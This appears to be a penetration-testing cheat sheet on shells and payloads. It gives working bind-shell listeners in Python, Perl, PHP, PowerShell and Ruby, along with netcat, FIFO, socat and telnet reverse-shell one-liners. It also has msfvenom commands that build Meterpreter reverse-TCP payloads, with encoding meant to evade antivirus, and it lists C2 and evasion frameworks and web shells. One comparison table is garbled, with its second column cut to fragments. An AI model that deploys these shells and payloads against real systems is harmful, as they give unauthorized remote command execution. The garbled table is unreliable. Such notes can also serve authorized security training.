Shells & Payloads

1. Anatomy of a Shell

2. Bind Shells

3. MSFvenom

4. Infiltrating Windows

5. Infiltrating UNIX/Linux

6. Web Shells

Anatomy of a Shell

1. Noteworthy terminals

Terminal Emulator	Operating System
Windows terminal	Windows
cmder	Windows
PuTTY	Windows
kitty	Windows, Linux and MAcOS
Alacritty	Windows, Linux and MAcOS
xterm	Linux
GNOME Terminal	Linux
MATE Terminal	Linux
Konsole	Linux
terminal	MacOS
iTerm2	MacOS

2. Shell Check

a. Bash

ps To show the active process which in this case will be bash.

env To show the enviournment variable which identify the shell.

echo $0 To print the name of the running shell.

bash --version To view the version of bash.

b. PowerShell

$PSversiontable To print the powershell version tabale which has all the information we may or may not need.

Get-Process -Id $pid To provide detailed information about a process including shell type.

c. Command Prompt (cmd)

echo %ComSpec% To return the path of the Command Prompt executable, confirming cmd.

ver To display the version of Windows Command Processor.

d. Others

For shells like zsh, fish you can use the one for bash.

Shells

Bind shell is a shell where Victim's system is the one listening for a incoming connection from Attacker's system.

Reverse shell is a shell where attacker's system is the one listening for a incoming connection from victim's system.

1. Bash (Unix/Linux)

`nc -lvp [PORT] -e /bin/bash` To use the netcat utility listening verbosely on a specidfied port and executing bash shell on connection.

`rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l [IP] [PORT] > /tmp/f` To bind a bash shell to the TCP session.

`nc -nv [IP] [PORT]` To bind to a shell on the victim's machine using netcat.

2. Python

```
import socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", [PORT]))
s.listen(1)
conn, addr = s.accept()
while True:
    data = conn.recv(1024)
    if not data: break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    conn.send(stdout_value)
```

To create a listening socket on the specified port and execute recieved commands.

3. Perl

```
use Socket;
$proto = getprotobyname('tcp');
socket(SERVER, PF_INET, SOCK_STREAM, $proto);
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SERVER, sockaddr_in([PORT], INADDR_ANY));
listen(SERVER, SOMAXCONN);
$client_addr = accept(CLIENT, SERVER);
while(1) {
        $~ = CLIENT;
        print CLIENT `$_` while <>;
}
```

To open a port for connection and execute incoming commmands.

4. PHP

```
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '0.0.0.0';
$port = [PORT];
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
socket_bind($sock, $ip, $port);
socket_listen($sock);
$client = socket_accept($sock);
$cmd = "";
while($cmd != 'exit') {
        $cmd = '';
        socket_recv($client, $cmd, 2048, 0);
        $output = shell_exec($cmd);
        socket_write($client, $output, strlen ($output));
}
socket_close($sock);
?>
```

To listen on specified ports and execute the recieved commands.

5. PowerShell (Windows)

```
$listener = [System.Net.Sockets.TcpListener][PORT]
$listener.start()
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
	$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i)
	$sendback = (Invoke-Expression -Command $data 2>&1 |
Out-String )
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
	$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2)
	$stream.Write($sendbyte,0,$sendbyte.Length)
	$stream.Flush()
}
$client.Close()
$listener.Stop()
```

To create a TCP listener on specified port and execute recieved commands.

6. Ruby

```
require 'socket'
server = TCPServer.new('', [PORT])
loop {
	client = server.accept
	while command = client.gets
		IO.popen(command, 'r') { |io| client.puts
io.read }
	end
	client.close
}
```

To listen on a given port and execute incoming commmands.

7. Others

https://www.revshells.com/ To generate a variety of reverse shells according to the need via an interactive web interface.

Github Cheastsheet To get access to github directory for the web interface above.

MSFvenom

1. Staged vs Stageless Meterpreters

Feature	**Staged Meterpreter (e.g., windows/meterpreter/reverse_tcp)**	**S M w m**
Payload Size	Small initial payload size.	L
Transmission	Payload is sent in two parts: a small initial stager and the main payload.	E
Network Footprint	Lower initial network footprint due to small stager size.	H p
Stealth	Potentially more stealthy as the smaller initial payload might evade some detections.	L w
Reliability	More reliable in environments with unstable network conditions. The small initial stager is less likely to encounter network interruptions.	L th in
Compatibility	Requires a multi-stage process for execution, which can be more complex and may face compatibility issues with certain systems or firewalls.	S s b
Usage Scenarios	Preferred in situations where network stability is an issue, or stealthier operations are required. Useful when dealing with stringent network security measures.	Ic s re n
Deployment Speed	Slower deployment due to the two-stage process.	F a
Memory Footprint	Lower initial memory footprint.	H p
When to Use	- In tightly controlled networks where larger payloads are easily detected. - When dealing with unreliable or slow network connections.	- s d

Feature	**Staged Meterpreter (e.g., windows/meterpreter/reverse_tcp)**	**S M w m**
When Not to Use	- When rapid shell deployment is necessary. - In networks with high bandwidth and stability.	- p < c

2. MSFvenom

msfvenom -l payloads To list all available payloads.

msfvenom -l formats To list supported formats to create the payload in.

msfvenom -l encoders To list all supported encoders.

msfvenom -p <PAYLOAD> LHOST=<LOCAL_HOST> LPORT=<LOCAL_PORT> -f <FORMAT> -o <OUTPUT_FILE> To create a any payload this structure can be used.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe To create a basic windows payload.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o payload.elf To create a basic linux payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 R > android_payload.apk To create a basic Andriod Payload.

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o payload.php To create a basic PHP payload.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o encoded_payload.exe To encode a payload using the option "-e" and "-i" to specify number of times to encode the payload.

Infiltrating Windows

1. Payload Types to Consider

a. DLL Files

DLL stands for Dynamic Link Library. These are files containing code that different programs can use simultaneously. In the context of payloads, a malicious DLL can be injected into legitimate processes to execute harmful actions without being easily detected.

b. Batch Files

These are script files containing a series of commands executed by the Windows command-line interpreter, cmd.exe. Batch file payloads can perform a range of actions, like installing malware or automating malicious tasks.

c. VBS Files

VBS stands for Visual Basic Script, a scripting language for Windows. VBS files can be used to write scripts that are executed by Windows Script Host. Malicious VBS payloads can be used to control a system, spread malware, or gather data.

d. MSI Files

MSI stands for Microsoft Installer. These files are used for installing, updating, and uninstalling software. Malicious MSI files can be created to install harmful software on a target computer.

e. PowerShell Files

PowerShell is a powerful scripting language and command-line shell. Malicious PowerShell scripts can be used to execute complex attacks and manage infected systems remotely.

f. EXE Files

EXE stands for Executable. These are common types of files that run programs. Malicious EXE payloads can perform any action the creator programs them to, from stealing data to damaging the system.

g. JavaScript Files

JavaScript can be used in Windows environments, especially in web-based attacks. Malicious JavaScript payloads can be embedded in web pages or phishing emails to exploit vulnerabilities or execute harmful scripts.

2. Payload Generation

a. MSFVenom & Metasploit-Framework

Link MSF is an extremely versatile tool for any pentester's toolkit. It serves as a way to enumerate hosts, generate payloads, utilize public and custom exploits, and perform post-exploitation actions once on the host. Think of it as a swiss-army knife.

b. Payloads All The Things

Link Here, you can find many different resources and cheat sheets for payload generation and general methodology.

c. Mythic C2 Framework

Link The Mythic C2 framework is an alternative option to Metasploit as a Command and Control Framework and toolbox for unique payload generation.

d. Nishang

Link Nishang is a framework collection of Offensive PowerShell implants and scripts. It includes many utilities that can be useful to any pentester.

e. Darkarmour

Link Darkarmour is a tool to generate and utilize obfuscated binaries for use against Windows hosts.

f. Empire Project

Link A post-exploitation framework that operates on Windows, Linux, and macOS. It's known for its PowerShell-based agents, and it's excellent for creating advanced payloads and conducting lateral movements.

g. Veil-Framework

Link An evasion tool that allows you to create payloads that bypass common antivirus solutions. It's particularly useful for creating Windows-based payloads that are not easily detected.

h. Shellter

Link A dynamic shellcode injection tool that can be used to inject shellcode into native Windows applications. It's useful for evading detection and for creating more sophisticated payloads.

i. Cobalt Strike

Link A commercial product widely used for red team operations. It provides a powerful C2 framework and is known for its ability to generate advanced payloads and conduct stealthy operations.

j. Powersploit

Link A collection of Microsoft PowerShell modules that can aid in post-exploitation tasks on a Windows system. It's great for generating PowerShell-based payloads.

k. FatRat

Link A tool that creates malware with a payload that can evade antivirus. It's a user-friendly way to generate payloads for a variety of platforms, including Windows.

I. Pupy

Link An open-source, cross-platform (Windows, Linux, macOS) remote administration and post-exploitation tool, mainly written in Python. It's known for its low detectability and versatile payload options.

Infiltrating UNIX/Linux

1. Checking permissions

`ls -la <path/to/fileorbinary>`

`sudo -l` to check which commands can be run as sudo by the current user.

2. Upgrading to interactive shell

`/bin/sh -i` or `bash -i` To spawn a bash shell.

`rm -f /tmp/p; mknod /tmp/p p && telnet [HOST] [PORT] 0/tmp/p` To spawn an interactive shell via Telnet.

`socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[HOST]:[PORT]` To upgrade shell using Socat.

`perl —e 'exec "/bin/sh";'` or `perl: exec "/bin/sh";` To upgrade shell using perl.

`ruby: exec "/bin/sh"` or `ruby -e 'exec "/bin/sh"'` To upgrade using Ruby.

`lua: os.execute('/bin/sh')` To upgrade a shell using Lua.

`awk 'BEGIN {system("/bin/sh")}'` To spawn interactive shell using AWK.

`find . -exec /bin/sh \; -quit` or `find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;` To upgrade using Find command.

`vim -c ':!/bin/sh'` or

```
vim
:set shell=/bin/sh
:shell
```

To upgrade using Vim.

python -c 'import os; os.system("/bin/sh")' To spawn an interactive shell using python.

php -r 'system("/bin/sh");' To upgrade using PHP.

nc -e /bin/sh [HOST] [PORT] To spawn using Netcat.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [HOST] [PORT] > /tmp/f To spawn using FIFO.

Web Shells

1. Laudanum (Ultimate webshell)

Github

/usr/share/webshells/laudanum To find the Laudanum directory.

Note: Do not forget to change the webshell with the attacker IP and port.

2. Antak Webshell

Github

/usr/share/nishang/Antak-WebShell To find the Antak directory.

3. wwwolf-php-webshell

Github